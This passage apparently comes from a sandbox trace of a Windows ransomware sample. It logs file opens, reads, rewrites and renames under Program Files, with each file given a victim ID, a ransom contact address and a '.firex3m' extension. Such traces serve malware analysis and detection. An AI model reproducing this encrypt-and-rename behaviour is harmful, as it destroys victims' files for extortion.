hFile=0x4e4, lpBuffer=0x6dc0d0, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc0d0*, lpNumberOfBytesRead=0x65fff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0235.319] GetProcessHeap () returned 0x630000 [0235.319] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0235.319] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.319] WriteFile (in: hFile=0x4e4, lpBuffer=0x6dc658*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc658*, lpNumberOfBytesWritten=0x65fff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0235.319] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.319] WriteFile (in: hFile=0x4e4, lpBuffer=0x6dc7f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc7f7*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.319] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.319] WriteFile (in: hFile=0x4e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.388] CloseHandle (hObject=0x4e4) returned 1 [0235.389] GetProcessHeap () returned 0x630000 [0235.389] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc658 | out: hHeap=0x630000) returned 1 [0235.389] GetProcessHeap () returned 0x630000 [0235.389] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc0d0 | out: hHeap=0x630000) returned 1 [0235.389] GetProcessHeap () returned 0x630000 [0235.389] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0235.389] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.389] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ec87470, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ec87470, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52414d66, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x65ffd20, dwReserved1=0x6dc0d0, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5580 [0235.389] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0235.389] Sleep (dwMilliseconds=0x1) [0235.516] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x65fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\toastreviewsettings.xml") returned 1 [0235.516] GetProcessHeap () returned 0x630000 [0235.516] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x503c) returned 0x6fe3bb0 [0235.516] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-us\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0235.517] CloseHandle (hObject=0x4bc) returned 1 [0235.517] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.517] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-us\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-us\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.518] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.518] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5340 [0235.518] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0235.518] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-us\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0235.518] GetProcessHeap () returned 0x630000 [0235.518] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f41b8 [0235.518] GetProcessHeap () returned 0x630000 [0235.518] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3e48 [0235.518] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.519] ReadFile (in: hFile=0x4bc, lpBuffer=0x6f41b8, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f41b8*, lpNumberOfBytesRead=0x65fff0c*=0x180, lpOverlapped=0x0) returned 1 [0235.521] GetProcessHeap () returned 0x630000 [0235.521] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0235.521] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.521] WriteFile (in: hFile=0x4bc, lpBuffer=0x6f3e48*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3e48*, lpNumberOfBytesWritten=0x65fff0c*=0x180, lpOverlapped=0x0) returned 1 [0235.521] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.521] WriteFile (in: hFile=0x4bc, lpBuffer=0x6f3fc7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3fc7*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.521] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.521] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.521] CloseHandle (hObject=0x4bc) returned 1 [0235.522] GetProcessHeap () returned 0x630000 [0235.522] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3e48 | out: hHeap=0x630000) returned 1 [0235.522] GetProcessHeap () returned 0x630000 [0235.522] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f41b8 | out: hHeap=0x630000) returned 1 [0235.522] GetProcessHeap () returned 0x630000 [0235.522] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0235.522] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.522] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52545fc7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c0, dwReserved0=0x65ffd20, dwReserved1=0x6f41b8, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5500 [0235.522] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0235.522] Sleep (dwMilliseconds=0x1) [0235.538] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\index.html", len=0x6f | out: pbstr=0x65fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\index.html") returned 1 [0235.538] GetProcessHeap () returned 0x630000 [0235.538] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5030) returned 0x6fe3bb0 [0235.538] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-us\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0235.546] CloseHandle (hObject=0x620) returned 1 [0235.546] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.546] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-us\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-us\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.670] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.670] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5400 [0235.678] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0235.690] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-us\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0235.690] GetProcessHeap () returned 0x630000 [0235.690] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9081) returned 0x7219168 [0235.691] GetProcessHeap () returned 0x630000 [0235.691] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9081) returned 0x72221f8 [0235.691] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.691] ReadFile (in: hFile=0x4e8, lpBuffer=0x7219168, nNumberOfBytesToRead=0x9060, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7219168*, lpNumberOfBytesRead=0x65fff0c*=0x9060, lpOverlapped=0x0) returned 1 [0241.879] GetProcessHeap () returned 0x630000 [0241.879] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745bb58 [0241.879] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.879] WriteFile (in: hFile=0x4e8, lpBuffer=0x72221f8*, nNumberOfBytesToWrite=0x9060, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72221f8*, lpNumberOfBytesWritten=0x65fff0c*=0x9060, lpOverlapped=0x0) returned 1 [0241.880] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.880] WriteFile (in: hFile=0x4e8, lpBuffer=0x722b257*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x722b257*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0241.880] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.880] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0241.880] CloseHandle (hObject=0x4e8) returned 1 [0241.880] GetProcessHeap () returned 0x630000 [0241.880] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72221f8 | out: hHeap=0x630000) returned 1 [0241.881] GetProcessHeap () returned 0x630000 [0241.881] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7219168 | out: hHeap=0x630000) returned 1 [0241.881] GetProcessHeap () returned 0x630000 [0241.881] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745bb58 | out: hHeap=0x630000) returned 1 [0242.977] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0242.977] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x561f2604, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9092, dwReserved0=0x9707496, dwReserved1=0x7219160, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5200 [0242.977] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0242.978] Sleep (dwMilliseconds=0x1) [0242.991] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x", len=0x61 | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0242.991] GetProcessHeap () returned 0x630000 [0242.991] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5408) returned 0x6fe3bb0 [0242.992] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.998] Sleep (dwMilliseconds=0x1) [0243.002] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_TileWide.scale-100.png", len=0x8b | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_TileWide.scale-100.png") returned 1 [0243.002] GetProcessHeap () returned 0x630000 [0243.002] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5428) returned 0x6fe3bb0 [0243.002] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_TileWide.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\money_tilewide.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.014] Sleep (dwMilliseconds=0x1) [0243.023] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\NumberFormattingInfo.json", len=0x77 | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\NumberFormattingInfo.json") returned 1 [0243.023] GetProcessHeap () returned 0x630000 [0243.023] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5490) returned 0x6fe3bb0 [0243.023] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\NumberFormattingInfo.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\numberformattinginfo.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.032] Sleep (dwMilliseconds=0x1) [0243.052] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\ExchangeDetails.json", len=0x72 | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\ExchangeDetails.json") returned 1 [0243.052] GetProcessHeap () returned 0x630000 [0243.052] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5484) returned 0x6fe3bb0 [0243.053] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\ExchangeDetails.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\exchangedetails.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.055] Sleep (dwMilliseconds=0x1) [0243.066] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_TileWide.scale-100.png", len=0x7c | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_TileWide.scale-100.png") returned 1 [0243.066] GetProcessHeap () returned 0x630000 [0243.066] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5468) returned 0x6fe3bb0 [0243.066] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_TileWide.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\money_tilewide.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.071] Sleep (dwMilliseconds=0x1) [0243.085] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_LogoSmall.targetsize-32.png", len=0x90 | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_LogoSmall.targetsize-32.png") returned 1 [0243.085] GetProcessHeap () returned 0x630000 [0243.085] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5424) returned 0x6fe3bb0 [0243.085] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_LogoSmall.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\money_logosmall.targetsize-32.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.086] Sleep (dwMilliseconds=0x1) [0243.107] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\splashscreen.scale-100.png", len=0x74 | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\splashscreen.scale-100.png") returned 1 [0243.107] GetProcessHeap () returned 0x630000 [0243.107] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53d8) returned 0x6fe3bb0 [0243.108] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\splashscreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\splashscreen.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.120] Sleep (dwMilliseconds=0x1) [0243.143] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html", len=0x7b | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html") returned 1 [0243.143] GetProcessHeap () returned 0x630000 [0243.143] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5380) returned 0x6fe3bb0 [0243.143] CreateFileW 